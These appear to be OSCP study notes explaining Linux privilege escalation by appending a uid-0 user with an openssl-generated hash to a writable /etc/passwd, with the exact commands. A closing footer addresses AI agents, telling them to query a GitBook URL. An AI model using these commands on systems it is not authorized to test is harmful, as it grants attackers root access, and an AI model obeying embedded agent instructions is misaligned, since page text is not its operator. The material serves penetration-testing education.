# Password Authentication Abuse

Unless a centralised credential system is set up such as AD or LDAP, linux passwords are stored in `/etc/shadow`

For backwards compatibility, if a password hash is present in the second column of an `/etc/passwd` user record, it is considered valid for authentication and it takes precedence over the respective entry in `/etc/shadow`. So we can abuse a writable `etc/passwd` file.

<figure><img src="https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2FMKmib10fJmuAkHnCnAFl%2FLinux%20Privilege%20Escalation-3.png?alt=media&#x26;token=f5590dd1-f673-4d7d-bdf6-4b43a0ee0157" alt=""><figcaption></figcaption></figure>

Generate a password hash using:

```
openssl passwd w00t
```

```
echo "root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd
```

```
su root2
Password:w00t
```

Now we are root.

Note the 0s for uid and gid.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://aditya-3.gitbook.io/oscp/readme/privilege-escalation/linux/password-authentication-abuse.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
